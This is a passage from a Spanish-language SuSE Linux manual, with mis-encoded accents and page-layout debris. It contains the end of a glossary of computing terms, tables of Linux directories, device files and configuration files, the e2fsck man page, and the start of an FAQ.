usuario puede influir en el comportamiento estßndar de programas. En
la + lφnea de comandos se indica el programa a iniciar junto con las op-
ciones.
PC (ingl. personal computer)
Se denomina asφ a una computadora ''personal'' de tama±o reducido, en
comparaci≤n a las computadoras gigantes y centralizadas. Desde los a±os
ochenta se entiende bajo este tΘrmino la computadora peque±a de IBM ,
504
_________________________________________________________________________________________________________________B.__Glosario_*
*____________________
basada en una CPU del tipo x86/88 de Intel, aunque la primera computa-
dora de este estilo era una Apple .
Permiso de entrada (ingl. account)
El conjunto del nombre de usuario y de la contrase±a (ingl. password) for-
ma el permiso de entrada. Normalmente es el administrador de sistema
quien establece el permiso de entrada al sistema. Seg·n este permiso,
el usuario estß asignado a un determinado grupo de usuarios con ciertos
derechos en la computadora. La configuraci≤n del permiso de entrada
incluye normalmente la creaci≤n de un + Directorio de usuario y la asig-
naci≤n de una direcci≤n de + E-Mail.
Pipe
Pipe se refiere a la conexi≤n directa del canal de salida estßndar de un
Proceso (+ Programa) al Canal de entrada estßndar (+ Salida/entrada
estßndar) del proceso siguiente. De este modo no hace falta almacenar
temporalmente los datos que se pasan al siguiente proceso. En la lφnea de
comandos de la + Shell, los procesos que estßn conectados por un Pipe se
apuntan seg·n el orden de proceso, separando el uno del otro mediante el
sφmbolo Pipe `|' (ASCII 124).
Proc filesystem
+ Sistema de ficheros ''Proc''
Procesador
+ CPU.
Proceso (ingl. process)
Un proceso es prßcticamente un programa o un fichero ejecutable ''en
vivo'' (+ Shell). En lugar de proceso se usa tambiΘn el tΘrmino ''tarea''
(ingl. task).
Proceso subordinado (ingl. background process)
Cuando la + Shell trabaja aparentemente con un solo proceso y no per-
mite introducir comandos adicionales, se habla de un proceso que trabaja
en ''primer plano''. Aparte de esto existe para la mayorφa de las shells la
posibilidad de ejecutar procesos en segundo plano como proceso subor-
dinado.
Para iniciar un proceso en segundo plano, se debe finalizar la lφnea de
comando con la que se inicia el programa con el sφmbolo `&'. Para que
los procesos se puedan llevar a cabo en segundo plano se necesita un
sistema operativo con capacidad de + Multitarea.
Programa
Cualquier serie de instrucciones l≤gicas que entiende una computadora,
se considera como un programa. Estas instrucciones pueden existir en
forma de c≤digo ejecutable o como instrucciones para un interpretador.
En Linux tales ficheros se identifican por el x-bit de los derechos de
fichero, lo reconoce el kernel y puede ejecutar asφ los programas.
Prompt
+ Sφmbolo de entrada.
Protocolo (ingl. protocol)
Los protocolos regulan la comunicaci≤n de computadoras en + Redes al
*
* 505
B. Glosario _________________________________________________________________________________________________________________*
*_______________________________________@
nivel de software y de hardware, determinando la apariencia de los datos
a transferir, los intervalos en los que una computadora tiene permiso de
transferir datos, cußl computadora controla una conexi≤n, etc. Algunos
protocolos muy conocidos son p. ej. FTP, UDP, TCP, HTTP, etc.
Puerto
+ Interfaz
Punto de anclaje
El punto de anclaje es el directorio que sirve como referencia para incor-
porar una partici≤n o un directorio en el ßrbol de directorios de Linux.
RAM (ingl. Random Access Memory)
+ Memoria fφsica de capacidad limitada, que se puede acceder en modo
de escritura y lectura con una velocidad relativamente alta.
Rama (ingl. path)
Mediante la rama se indica exactamente la posici≤n de un + Fichero en
un + Sistema de ficheros. En Unix, los distintos niveles de directorios se
separan con el sφmbolo `/' (ingl. slash). Hay que distinguir entre dos
diferentes tipos de ramas:
o Rama relativa: la posici≤n de un fichero o de un directorio se indica
con el directorio ''actual'' como punto de referencia.
o Rama absoluta: la posici≤n indicada es relativa al + Directorio raφz.
Red (ingl. net, network)
La red es el conjunto de varias computadoras interconectadas. Hay difer-
entes estructuras de redes que se distinguen por la forma en la que se
conectan las computadoras. Estas pueden ser: Anillo, estrella, bus, ßrbol,
etc. Algunos estßndares muy conocidos son p. ej. Ethernet, Token-Ring
o RDSI. En cuanto a los protocolos se usa en los distintos niveles p. ej.
TCP, UDP, IPX, etc.
Resetear (ingl. reset)
Cuando la computadora deja de responder, se encuentra muchas veces en
un bucle infinito. La ·nica soluci≤n para esto es regresar la computadora
a un estado inicial definido. A este proceso se le llama ''resetear'' (ingl.
reset). DespuΘs de un ''Reset'', la computadora se encuentra en el mismo
estado que tiene cuando se acaba de encender. Es preferible resetear la
computadora y no apagar y encender, ya que el sencillo ''Reset'' perjudica
menos los componentes mecßnicos y elΘctricos.
IMPORTANTE: íAl resetear la computadora, todos los datos que se en-
cuentran en la + Memoria se pierden!
Rlogin (ingl. remote login)
Mediante un remote login se puede entrar vφa Internet a una computadora
en otro lugar tal como si se estuviera sentado al lado de la misma. Si
en ambas mßquinas corre un + X-Server existe incluso la posibilidad de
redirigir aplicaciones del sistema X Window a la pantalla local, definiendo
correctamente la variable DISPLAY del entorno remoto.
ROM (ingl. Read-only Memory)
Memoria de solo-lectura como p. ej. un Compact Disc (CD).
506
_________________________________________________________________________________________________________________B.__Glosario_*
*____________________
Root
+ Administrador de sistema.
RPM (rpm )
Desde la versi≤n 5.0 de SuSE Linux el programa RPM (rpm ) (ingl. RPM
Package Manager) es el gestor de paquetes por defecto. rpm permite
instalar y desinstalar paquetes de software; ademßs se pueden direccionar
consultas al banco de datos de RPM.
Runlevel
TΘrmino usual en Unix para definir el nivel de servicio que el sistema ha
alcanzado despuΘs del arranque o hasta el cual se debe retroceder (p. ej.
para mantenimiento). El programa init se encarga del cambio de nivel de
servicio. En el fichero de configuraci≤n de init hay una serie de servicios
asignados a cada nivel de ejecuci≤n. El nivel mßs bajo (Runlevel 1) solo
permite usar el sistema con un ·nico usuario, mientras que en el Runlev-
el 2 varios usuarios pueden acceder al sistema.
Salida/Entrada estßndar (ingl. standard input / output)
Cada proceso posee 3 canales para leer o escribir datos; estos son el canal
de entrada estßndar (stdin), el canal de salida estßndar (stdout) y el canal
estßndar de errores (stderr). Estos canales estßn por defecto direccionados
a ciertos dispositivos; en concreto, la entrada estßndar hacia el teclado
y la salida estßndar al igual que el canal de errores, hacia la pantalla.
Usando la shell es posible redireccionar los canales. Por ejemplo, se
puede redireccionar la entrada estßndar de tal modo, que las letras no se
lean desde el teclado sino p. ej. desde un fichero. El redireccionamiento se
simboliza en la shell anteponiendo los sφmbolos `<' (Canal de entrada),
`>' (Canal de salida) y `2>' (Canal de error). Consultar tambiΘn +
Pipe.
Selecci≤n
La selecci≤n es un mecanismo del servidor X. Es posible marcar texto
con el mouse (apretar el bot≤n izquierdo del mouse y pasar por encima
del texto a seleccionar) y usarlo en otra aplicaci≤n, pasando con el cur-
sor a otro ventana y apretando allφ el bot≤n del medio. Este proceso se
denomina Cortar & Pegar (Cut & Paste).
Servidor
Un servidor es generalmente una computadora muy potente que ofrece
datos y servicios a las computadoras clientes a travΘs de una + Red.
Aparte de las computadoras que act·an como servidores existen progra-
mas que tambiΘn se denominan servidores, ya que igualmente prestan
servicios y se ejecutan continuamente. Un ejemplo para un servidor tipo
software es el + X-Server.
Shell
La Shell representa la interfaz bßsica hacia el + Sistema operativo (ker-
nel). Gracias a la shell se pueden introducir comandos en la lφnea de co-
mandos. Para automatizar ciertas tareas, las shells incorporan un lenguaje
propio de programaci≤n. Estos programas, denominados ''scripts'', son
una especie de ''batch-file'' inteligente. Algunas Shells conocidas son
bash , sh y tcsh .
*
* 507
B. Glosario _________________________________________________________________________________________________________________*
*_______________________________________@
Sφmbolo de entrada (ingl. prompt)
El sφmbolo de entrada en una + Shell marca el sitio en el que se pueden
introducir los comandos del + Sistema operativo. Este sφmbolo puede
reflejar p. ej. el nombre de la computadora y del usuario, la hora actual u
otras indicaciones. El + Cursor se encuentra por lo general directamente
detrßs del sφmbolo de entrada. Cuando el sφmbolo reaparece despuΘs de
haberse introducido un comando, el sistema estß otra vez en capacidad de
recibir nuevos comandos.
Sistema de ficheros (ingl. filesystem)
El sistema de ficheros es un sistema para ordenar ficheros. Hay muchos
sistemas de ficheros cuyas prestaciones difieren bastante. Determinados
sistemas de ficheros son obligatorios para un determinado medio de al-
macenamiento, por lo que no se puede precisar quΘ sistemas de ficheros
usa Linux.
Sistema de ficheros ''Proc''
En comparaci≤n a un sistema de ficheros de una unidad de almacenamien-
to, el sistema de ficheros /proc no contiene datos estßticos, sino que los
genera dinßmicamente con informaciones del kernel. Se usa sobre to-
do para proporcionar a las utilidades del sistema (p. ej. ps , mount ) datos
actuales del kernel o para modificar parßmetros del kernel en tiempo de
ejecuci≤n.
Sistema operativo (ingl. operating system)
El sistema operativo es un programa que se ejecuta continuamente en
segundo plano y forma la base para poder usar la computadora. El sistema
operativo se encarga de administrar todos los recursos disponibles de la
computadora. En Linux lo llevan a cabo el + Kernel, los m≤dulos del
kernel y otras utilidades sin las que el kernel resultarφa ''in·til''. En el
caso de SuSE Linux se considera que toda la serie a (Linux base system),
las herramientas de sistema y los ''daemons'' forman juntos el sistema
operativo. Algunos sistemas operativos conocidos son AmigaOS , Linux ,
MacOS , OS/2 , Unix , Windows NT , etc.
Sistema X Window
+ X Window System
SMP (ingl. Symmetric Multi Processing)
+ Multiprocesador.
Swap
Es la zona de memoria virtual en el disco duro, que sirve para albergar
temporalmente ''pßginas'' de memoria RAM (ver + RAM). Para ello se
puede usar bajo Linux una partici≤n especial o un fichero. La suma de
la memoria fφsica RAM con la memoria disponible de swap, equivale
aproximadamente al tama±o mßximo de memoria virtual disponible.
Tarea
+ Proceso.
Telnet
Telnet es el comando y el protocolo para comunicarse con otras computa-
doras que se convierten asφ en anfitriones (ingl. hosts).
508
_________________________________________________________________________________________________________________B.__Glosario_*
*____________________
Terminal (ingl. terminal)
Es la combinaci≤n de monitor y teclado conectada a un sistema mul-
tiusuario sin capacidad propia de cßlculo. En el caso de estaciones de
trabajo se usa el tΘrmino tambiΘn para hablar de programas que emulan
un terminal real.
UMSDOS
Sistema de ficheros especial (de Linux) que permite gestionar ficheros
dentro de una partici≤n MSDOS normal, con todos las caracterφsticas de
Unix (nombres de fichero largos y derechos de ficheros). Es mßs lento
que el sistema de ficheros ''correcto'' EXT2, pero en cambio es ·til para
hacer demostraciones, ya que no se necesita ninguna partici≤n adicional
(cuando ya existe una de MSDOS).
UNIX
Es un sistema operativo especialmente extendido en estaciones de trabajo.
Unix soporta caracterφsticas importantes como p. ej. el uso de computa-
doras en red y estß compuesto por un n·cleo, una + Shell, un kernel y
muchas utilidades. Desde el comienzo de los 90 existe una versi≤n libre
(freeware) para + PCs bajo el nombre Linux.
URL
Uniform Resource Locator: Sistema unificado de identificaci≤n de recur-
sos en la red. Las direcciones se componen del protocolo y de la direcci≤n
local del documento dentro del servidor. Las direcciones permiten identi-
ficar objetos como WWW, FTP, Gopher, etc.
Variable de entorno (ingl. environment variable)
Un lugar en el + Entorno total de la + Shell. Cada variable de entorno
tiene un nombre ·nico que se indica normalmente en may·sculas. A estas
variables se les asigna valores, p. ej. alguna rama (ingl. path). En el caso
de la shell ''bash'' funciona de la siguiente manera:
root@tierra:/ > export EDITOR=emacs
Para conocer las variables actualmente usadas se puede usar el comando
env . RefiriΘndose a una variable de entorno dentro de una Shell-script,
hay que anteponer el sφmbolo $ al nombre de la variable. Algunas vari-
ables importantes son HOME (contiene la rama del directorio de usuario),
SHELL (rama programa de shell) USER (nombre de usuario), PATH (rama
de b·squeda para ejecutables), MANPATH (rama de b·squeda de las Man-
pages).
Ventana (ingl. window)
Las ventanas son sectores cuadrados de una pantalla, generalmente dentro
de un marco. Este marco proporciona generalmente elementos para mod-
ificar la posici≤n y el tama±o de la ventana en la pantalla. Un + X-Server
tal como un + Gestor de ventanas deben estar en ejecuci≤n para que se
pueda trabajar con ventanas bajo Linux.
WAN (ingl. wide area network)
En comparaci≤n a una + LAN se trata de una + Red con gran extensi≤n
geogrßfica.
*
* 509
B. Glosario _________________________________________________________________________________________________________________*
*_______________________________________@
Wildcards
Los sφmbolos `*' y `?' son sφmbolos genΘricos y se denominan ''co-
modines'' o en inglΘs ''wildcards''. El sφmbolo `?' reemplaza ex-
actamente una letra cualquiera, mientras que `*' reemplaza cualquier
cantidad de letras como tambiΘn puede no reemplazar a ninguna. Los
comodines se usan en expresiones regulares. Por ejemplo el coman-
do ls -l imagen* indica todos los ficheros del directorio actual que
comienzan con bild.
X-Server
Las computadoras que ejecutan un servidor X pueden usar servicios del +
Entorno grßfico de usuario + X Window System. Una tarea importante del
servidor X es la administraci≤n de las pantallas (displays); normalmente
cada terminal tiene exactamente un display. El nombre de cada display es-
tß determinado por la + Variable de entorno DISPLAY. Esta tiene el sigu-
iente formato:
<Nombre`computadora>:<N·mero`display>; p. ej. tierra:0 . El
conocimiento del nombre correcto del Display es importante para el +
Rlogin.
X Window System
Es una colecci≤n de programas, protocolos y rutinas para administrar un
+ Entorno grßfico de usuario. El sistema X Window (abreviado ''X'')
se desarroll≤ dentro del ßmbito del proyecto Athena en el MIT (Mas-
sachusetts Institute of Technology). Las grandes ventajas de X frente a
los demßs sistemas (p. ej. MS Windows o GEM) son la capacidad de tra-
bajar en red y la flexibilidad. Esta flexibilidad permite p. ej. que un usuario
ejecute programas en otra computadora pero las visualice en su monitor,
con la posibilidad de definir libremente el aspecto y el comportamiento
de la superficie grßfica.
Observaci≤n: El sistema de ventanas no se llama ''X-Windows'' sino real
y correctamente X Window System.
510
ApΘndice C
El ßrbol de directorios
C.1 Vista general
La siguiente imagen muestra un peque±o extracto del ßrbol de directorios de
un sistema|Linux.| *
* |
____________________________________________________________________________________________________________________________*
*______________________||||
|||||||| *
* |
|||||||| *
* |
|||||||| *
* |
|||||||| *
* |
|||||||| *
* |
|||||||| *
* |
|||||||| *
* |
|||||||| *
* |
|||||||| *
* |
|||||||| *
* |
|||||||| *
* |
|||||||| *
* |
|||||||| *
* |
|||||||| *
* |
|||||||| *
* |
|||||||| *
* |
|||||||| *
* |
|||||||| *
* |
|||||||| *
* |
|||||||| *
* |
|||||||| *
* |
|||||||| *
* |
|||||||| *
* |
|||||||| *
* |
|||||||| *
* |
|||||||| *
* |
|||||||| *
* |
|||||||| *
* |
|||||||| *
* |
||||||||____________________________________________________________________________________________________________________*
*______________________ |
*
* 511
C. El ßrbol de directorios________________________________________________________________________________________________________*
*_______________________________________@
C.2 Directorios importantes
El ßrbol de directorios del sistema SuSE Linux estß estructurado seg·n el
estßndar de sistemas de ficheros. Los directorios importantes se describen en
la tabla C.1.
________________________________________________________________________________________________________*
*________
/ el directorio raφz (ingl. root directory), es el
comienzo del ßrbol de directorios
/home los directorios (privados) de los usuarios
/dev ficheros de dispositivos (ingl. device files) que
representan componentes de hardware
/etc ficheros importantes de configuraci≤n del sis-
tema
/usr/bin comandos p·blicos
/bin comandos que se necesitan durante el arranque
del sistema
/usr/sbin comandos reservados para el administrador de
sistema (superusuario)
/sbin comandos reservados para el administrador de
sistema y necesarios durante el arranque del sis-
tema
/sbin/init.d scripts de arranque
/usr/include Ficheros de encabezamiento para el compilador
de C
/usr/include/g++ Ficheros de encabezamiento para el compilador
de C++
/usr/doc diferentes ficheros de documentaci≤n
/usr/man la ayuda en lφnea (manual-pages)
/usr/src fuentes del software del sistema
/usr/src/linux las fuentes del kernel
/tmp para ficheros temporales
/var/tmp para ficheros temporales grandes
/usr contiene todas las aplicaciones y se puede montar
en modo de solo escritura
/var ficheros de configuraci≤n (p. ej. enlazados desde
/usr)
/var/log ficheros de registro
/var/adm administraci≤n del sistema
/lib librerφas compartidas (para programas dinßmica-
mente enlazados)
/proc el sistema de ficheros de los procesos
/usr/local ficheros locales, independientes de la distribu-
ci≤n SuSE Linux
/opt software opcional, paquetes grandes (p. ej. KDE)
________________________________________________________________________________________________________*
*________
Tabla C.1: Resumen de los directorios importantes
512
ApΘndice D
Ficheros importantes
El fichero mßs importante del sistema es el n·cleo del sistema operativo que
se encuentra desde la versi≤n 6.0 de SuSE Linux en el directorio /boot/
vmlinuz .
D.1 Ficheros de dispositivos en el directorio /dev
Disqueteras y discos duros:1
______________________________________________________________________________________________________________________
/dev/fd0 primera disquetera
/dev/fd1 segunda disquetera
/dev/hda primer disco duro (E)IDE
/dev/hda1 - /dev/hda15 las particiones del primer disco duro
(E)IDE
/dev/sda primer disco duro SCSI
/dev/sda1 - /dev/sda15 las particiones del primer disco duro SCSI
/dev/sdb segundo disco duro SCSI
/dev/sdc tercer disco duro SCSI
______________________________________________________________________________________________________________________
Tabla D.1: Resumen de los ficheros de dispositivo para discos y dis-
queteras
D.1.1 Lectores CD-ROM
______________________________________________________________________________________________________________________
/dev/cdrom Enlace que apunta al lector CD-ROM usado, o sea, a
uno de los ficheros que figuran a continuaci≤n (YaST
genera el enlace)
/dev/aztcd Aztech CDA268-01 CD-ROM
______________________________________________________________________________________________________________________
________________Tabla_D.2:_Contin·a_en_la_pßgina_siguiente_...
1 Aparte de los ficheros de dispositivos existentes se pueden generar otros adicionales. Para
mayor informaci≤n ver la Manpage de mknod .
*
* 513
D. Ficheros importantes___________________________________________________________________________________________________________*
*_______________________________________@
_______________________________________________________________________________________________________*
*_________
/dev/cdu535 Sony CDU-535 CD-ROM
/dev/cm206cd Philips CM206
/dev/gscd0 Goldstar R420 CD-ROM
/dev/hda
hasta ATAPI CD-ROM
/dev/hdd
/dev/lmscd Philips CM 205/250/206/260 CD-ROM
/dev/mcd Mitsumi CD-ROM
/dev/sbpcd0
hasta CD-ROM conectado a Soundblaster
/dev/sbpcd3
/dev/scd0 lectores CD-ROM tipo SCSI
/dev/scd1
y siguientes
/dev/sonycd Sony CDU 31a CD-ROM
/dev/sjcd Sanyo CD-ROM
/dev/optcd Optics Storage CD-ROM
_______________________________________________________________________________________________________*
*_________
Tabla D.2: Resumen sobre los ficheros de dispositivos de lectores CD-
ROM
D.1.2 Unidades de cinta/Streamer
_______________________________________________________________________________________________________*
*_________
/dev/rmt0 1. SCSI-Streamer ''rewinding'' (rebobina automßtica-
mente)
/dev/nrmt0 1. SCSI-Streamer ''non rewinding''
/dev/ftape Floppy-Streamer ''rewinding'' (rebobina automßtica-
mente)
/dev/nftape Floppy-Streamer ''non rewinding''
_______________________________________________________________________________________________________*
*_________
Tabla D.3: Resumen de los ficheros de dispositivo de cintas/Streamer
D.1.3 Mouse (Bus y PS/2)
_______________________________________________________________________________________________________*
*_________
/dev/mouse Enlace que apunta a la interfaz usada por el mouse,
o sea, a uno de los siguiente pseudo-ficheros (para
bus-mouse) o a un puerto serie (para mouse de puerto
serie). YaST establece el enlace.
_______________________________________________________________________________________________________*
*_________
Tabla D.4: Contin·a en la pßgina siguiente ...
514
______________________________________________________D.1.__Ficheros_de_dispositivos_en_el_directorio_/dev__________________*
*______________________
______________________________________________________________________________________________________________________
/dev/atibm bus-mouse de la tarjeta de vφdeo ATI.
/dev/logibm Logitech bus-mouse.
/dev/psaux PS/2-mouse.
/dev/inportbm PS/2-bus-mouse (Microsoft Inport bus-mouse).
/dev/sunmouse SUN mouse.
______________________________________________________________________________________________________________________
Tabla D.4: Resumen de los ficheros de dispositivo para mouse
D.1.4 Modem
______________________________________________________________________________________________________________________
/dev/modem Enlace al puerto COM al cual se conecta el modem
(YaST genera el enlace)
______________________________________________________________________________________________________________________
Tabla D.5: Fichero de dispositivo para modem
D.1.5 Puertos serie
______________________________________________________________________________________________________________________
/dev/ttyS0 puertos serie de 0 hasta 3
hasta (COM1 hasta COM4)
/dev/ttyS3 adicionales hasta ttyS63
/dev/cua0 desde la versi≤n 2.2.x del kernel estos puertos
/dev/cua3 serie son obsoletos
y mßs obsoleto desde kernel 2.2.x
______________________________________________________________________________________________________________________
Tabla D.6: Ficheros de dispositivo para puertos serie
D.1.6 Puertos paralelos
______________________________________________________________________________________________________________________
/dev/lp0
hasta puertos paralelos (LPT1 hasta LPT3)
/dev/lp2
______________________________________________________________________________________________________________________
Tabla D.7: Ficheros de dispositivo para impresoras en el puerto paralelo
*
* 515
D. Ficheros importantes___________________________________________________________________________________________________________*
*_______________________________________@
D.1.7 Dispositivos especiales
_______________________________________________________________________________________________________*
*_________
/dev/null absorbe todos los datos (papelera de datos)
/dev/tty1
hasta consolas virtuales
/dev/tty8
/dev/zero genera todos los bytes de cero que se deseen
_______________________________________________________________________________________________________*
*_________
Tabla D.8: Ficheros de dispositivo para dispositivos virtuales/especiales
D.2 Ficheros de configuraci≤n en /etc
_______________________________________________________________________________________________________*
*_________
/etc/ Indicaciones sobre la versi≤n de SuSE Linux
SuSE-release instalada.
/etc/rc.config Fichero de configuraci≤n central; YaST lo gen-
era y los scripts de arranque tal como SuSEcon-
fig lo eval·an.
/etc/rc.config.d Directorio que contiene ficheros adicionales
con variables de rc.config.
/etc/inittab Fichero de configuraci≤n para el proceso init .
/etc/lilo.conf Configuraci≤n del LILO
/etc/modules.conf Configuraci≤n de los m≤dulos del kernel
/etc/DIR_COLORS Definici≤n de colores para ls
/etc/XF86Config Configuraci≤n del sistema X Window.
/etc/fstab Tabla con los sistemas de fichero que se montan
automßticamente durante el arranque.
/etc/profile Script de ''login'' de las shells (sh , bash , etc.)
/etc/csh.login Script de ''login'' de tcsh
/etc/csh.cshrc Configuraci≤n por defecto de tcsh
/etc/profile.d Directorio con extensiones para
/etc/profile y /etc/csh.cshrc
/etc/passwd Informaci≤n sobre usuarios: Nombres de
usuario, directorio-home, shell de ''login'',
n·mero de usuario
/etc/shadow Contrase±as
/etc/group Grupos de usuarios
/etc/printcap Descripci≤n de las impresoras a disposici≤n. Lo
usa el daemon de impresi≤n lpd, ver en la pßgi-
na 325Impresoraschapter.12
_______________________________________________________________________________________________________*
*_________
Tabla D.9: Contin·a en la pßgina siguiente ...
516
_________________________________________________________D.3.__Ficheros_de_configuraci≤n_ocultos_en_/home___________________*
*______________________
______________________________________________________________________________________________________________________
/etc/hosts Asignaci≤n de nombres de computadora a
n·meros IP (necesario cuando no hay un servi-
dor de nombres).
/etc/inetd.conf Control sobre los servicios IP a disposici≤n (tel-
net , finger , ftp etc.).
/etc/syslogd.conf Fichero de configuraci≤n para el daemon ''sys-
logd'', cuya tarea es la de protocolizar determi-
nados mensajes del sistema.
______________________________________________________________________________________________________________________
Tabla D.9: Ficheros de configuraci≤n en /etc
D.3 Ficheros de configuraci≤n ocultos en /home
En el directorio home de cada usuario hay muchos ficheros de configuraci≤n
que por razones prßcticas se ocultan y porque se han de modificar en raras
ocasiones. Un fichero se convierte en oculto anteponiendo un punto al nom-
bre. Estos ficheros se visualizan usando el comando ls -a . En la tabla D.10
hay algunos ejemplos.
______________________________________________________________________________________________________________________
.profile script de ''login'' privado del usuario usando bash co-
mo shell
.bashrc configuraci≤n de la bash
.exrc configuraci≤n de vi, ex
.xinitrc script de inicio del sistema X Window.
.fvwmrc configuraci≤n del fvwm-windowmanager
.ctwmrc configuraci≤n del ctwm-windowmanager
.openwin-menu configuraci≤n de los windowmanager olvwm y ol-
wm
______________________________________________________________________________________________________________________
Tabla D.10: ficheros ocultos en el directorio de usuario
Al crear un usuario nuevo estos ficheros se copian desde el directorio /etc/
skel.
*
* 517
D. Ficheros importantes___________________________________________________________________________________________________________*
*_______________________________________@
518
ApΘndice E
Manual-Page de e2fsck
|||||||| |
|||||||| |
|||||||| |
_______________________________________________________________________________________________________________________||||
|||||||| |
|||||||| |
|||||||| E2FSCK(8) E2FSCK(8) |
|||||||| |
|||||||| |
|||||||| NAME |
|||||||| |
|||||||| e2fsck - check a Linux second extended file system |
|||||||| |
|||||||| SYNOPSIS |
|||||||| e2fsck [ -pacnyrdfvstFSV ] [ -b superblock ] [ -B block- |
|||||||| |
|||||||| size ] [ -l|-L bad_blocks_file ] device |
|||||||| |
|||||||| DESCRIPTION |
|||||||| e2fsck is used to check a Linux second extended file |
|||||||| |
|||||||| system. |
|||||||| |
|||||||| device is the special file corresponding to the device |
|||||||| (e.g /dev/hdXX). |
|||||||| |
|||||||| |
|||||||| OPTIONS |
|||||||| -a This option does the same thing as the -p option. |
|||||||| It is provided for backwards compatibility only; it |
|||||||| |
|||||||| is suggested that people use -p option whenever |
|||||||| possible. |
|||||||| |
|||||||| -b superblock |
|||||||| |
|||||||| Instead of using the normal superblock, use the |
|||||||| alternative superblock specified by superblock. |
|||||||| |
|||||||| |
|||||||| -B blocksize |
|||||||| Normally, e2fsck will search for the superblock at |
|||||||| various different block sizes in an attempt to find |
|||||||| the appropriate block size. This search can be |
|||||||| |
|||||||| fooled in some cases. This option forces e2fsck to |
|||||||| only try locating the superblock at a particular |
|||||||| blocksize. If the superblock is not found, e2fsck |
|||||||| will terminate with a fatal error. |
|||||||| |
|||||||| |
|||||||| -c This option causes e2fsck to run the badblocks(8) |
|||||||| program to find any blocks which are bad on the |
|||||||| |
|||||||| |
||||||||_______________________________________________________________________________________________________________ |
~ Contin·a en la pßgina siguiente
*
* 519
| *
* |
| *
* |
| *
* |
E. Manual-Page de_e2fsck__________________________________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________||||
| *
* |
|| filesystem, and then marks them as bad by adding *
* ||
| them to the bad block inode. *
* |
| *
* |
| -d Print debugging output (useless unless you are *
* |
| *
* |
| debugging e2fsck ). *
* |
| *
* |
| -f Force checking even if the file system seems clean. *
* |
| *
* |
| *
* |
| -F Flush the filesystem device's buffer caches before *
* |
| beginning. Only really useful for doing e2fsck *
* |
| time trials. *
* |
| *
* |
| *
* |
| -l filename *
* |
| Add the blocks listed in the file specified by *
* |
| filename to the list of bad blocks. *
* |
| *
* |
| *
* |
| -L filename *
* |
| Set the bad blocks list to be the list of blocks *
* |
| specified by filename. (This option is the same as *
* |
| *
* |
| the -l option, except the bad blocks list is *
* |
| cleared before the blocks listed in the file are *
* |
| added to the bad blocks list.) *
* |
| *
* |
| *
* |
| -n Open the filesystem read-only, and assume an answer *
* |
| of ``no'' to all questions. Allows e2fsck to be *
* |
| used non-interactively. (Note: if the -c, -l, or *
* |
| -L options are specified in addition to the -n *
* |
| *
* |
| option, then the filesystem will be opened read- *
* |
| write, to permit the bad-blocks list to be updated. *
* |
| However, no other changes will be made to the *
* |
| filesystem.) *
* |
| *
* |
| *
* |
| -p Automatically repair ("preen") the file system *
* |
| without any questions. *
* |
| *
* |
| *
* |
| -r This option does nothing at all; it is provided *
* |
| only for backwards compatibility. *
* |
| *
* |
| -s This option will byte-swap the filesystem so *
* |
| *
* |
| that it is using the normalized, standard byte- *
* |
| order (which is i386 or little endian). If the *
* |
| filesystem is already in the standard byte-order, *
* |
| e2fsck will take no action. *
* |
| *
* |
| *
* |
| -S This option will byte-swap the filesystem, regard- *
* |
| less of its current byte-order. *
* |
| *
* |
| *
* |
| -t Print timing statistics for e2fsck. If this option *
* |
| is used twice, additional timing statistics are *
* |
| printed on a pass by pass basis. *
* |
| *
* |
| *
* |
| -v Verbose mode. *
* |
| *
* |
| -V Print version information and exit. *
* |
| *
* |
| *
* |
|_______________________________________________________________________________________________________*
*________ |
~ Contin·a en la pßgina siguiente
520
|||||||| |
|||||||| |
|||||||| |
___________________________________________________________________________________________E.__Manual-Page_de_e2fsck_______________*
*_______________||||
_______________________________________________________________________________________________________________________||||
|||||||| |
||||||||| ||
|||||||| -y Assume an answer of ``yes'' to all questions; |
|||||||| allows e2fsck to be used non-interactively. |
|||||||| |
|||||||| EXIT CODE |
|||||||| |
|||||||| The exit code returned by e2fsck is the sum of the |
|||||||| following conditions: |
|||||||| 0 - No errors |
|||||||| 1 - File system errors corrected |
|||||||| |
|||||||| 2 - File system errors corrected, system should |
|||||||| be rebooted if file system was mounted |
|||||||| 4 - File system errors left uncorrected |
|||||||| 8 - Operational error |
|||||||| |
|||||||| 16 - Usage or syntax error |
|||||||| 128 - Shared library error |
|||||||| |
|||||||| REPORTING BUGS |
|||||||| |
|||||||| Almost any piece of software will have bugs. If you |
|||||||| manage to find a filesystem which causes e2fsck to crash, |
|||||||| or which e2fsck is unable to repair, please report it to |
|||||||| |
|||||||| the author. |
|||||||| |
|||||||| Please include as much information as possible in your bug |
|||||||| report. Ideally, include a complete transcript of the |
|||||||| |
|||||||| e2fsck run, so I can see exactly what error messages are |
|||||||| displayed. If you have a writeable filesystem where the |
|||||||| transcript can be stored, the script(1) program is a handy |
|||||||| way to save the output of to a file. |
|||||||| |
|||||||| |
|||||||| It is also useful to send the output of dumpe2fs(8). If a |
|||||||| specific inode or inodes seems to be giving e2fsck |
|||||||| trouble, try running the debugfs(8) command and send the |
|||||||| |
|||||||| output of the stat command run on the relevant inode(s). |
|||||||| If the inode is a directory, the debugfs dump command |
|||||||| will allow you to extract the contents of the directory |
|||||||| inode, which can sent to me after being first run through |
|||||||| |
|||||||| uuencode(1). |
|||||||| |
|||||||| Always include the full version string which e2fsck |
|||||||| displays when it is run, so I know which version you are |
|||||||| |
|||||||| running. |
|||||||| |
|||||||| AUTHOR |
|||||||| This version of e2fsck is written by Theodore Ts'o |
|||||||| |
|||||||| <tytso@mit.edu>. |
|||||||| |
|||||||| SEE ALSO |
|||||||| mke2fs(8), tune2fs(8), dumpe2fs(8), debugfs(8) |
|||||||| |
|||||||| |
|||||||| |
|||||||| E2fsprogs version 1.06 October 1996 |
|||||||| |
|||||||| |
||||||||_______________________________________________________________________________________________________________ |
521
E. Manual-Page de_e2fsck__________________________________________________________________________________________________________*
*_______________________________________@
522
ApΘndice F
Las SuSE Linux-FAQ
En este anexo tratamos de responder a aquellas preguntas que aparecen
con mucha frecuencia; las ''preguntas frecuentemente planteadas'' (ingl.
Frequently Asked Questions). Aunque el manual ya contiene la respuesta
correcta para la mayorφa de ellas, es posible que una persona que comienza
con Linux no sepa d≤nde buscar. Por eso en casi todas las respuestas se indica
como referencia el capφtulo sobre el tema en cuesti≤n.
Tengo un SuSE Linux antiguo ~ ┐C≤mo puede actualizar a 6.4?
Lo mßs fßcil es consultar el capφtulo 15 en la pßgina 393Actualizaci≤n del sis-
tema ~ Gesti≤n de paqueteschapter.15, que tiene como tema la actualizaci≤n.
┐Cußl es el capφtulo mßs importante del manual?
